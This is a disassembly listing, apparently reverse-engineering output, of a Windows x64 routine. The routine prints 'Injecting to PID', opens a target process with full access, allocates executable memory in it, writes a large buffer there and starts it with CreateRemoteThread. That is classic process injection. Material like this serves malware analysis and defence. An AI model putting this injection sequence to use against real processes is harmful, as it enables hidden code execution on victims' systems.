mov dword [rsp + 0x5c], ecx
lea rcx, [rsp + 0x60]
lea rdx, [0x1407ebb70]
mov r8d, 0x14f601
call sub.VCRUNTIME140D.dll_memcpy
mov edx, dword [rsp + 0x5c]
lea rcx, str.Injecting_to_PID:__i
call fcn.140001208
mov r8d, dword [rsp + 0x5c]
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
xor eax, eax
mov edx, eax
mov r8d, 0x14f601
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov r9d, 0x14f601
xor eax, eax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
xor eax, eax
mov r8d, eax
xor eax, eax
mov rdx, r8
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x14f670]
xor rcx, rsp
call fcn.14000121c
nop
add rsp, 0x14f678
ret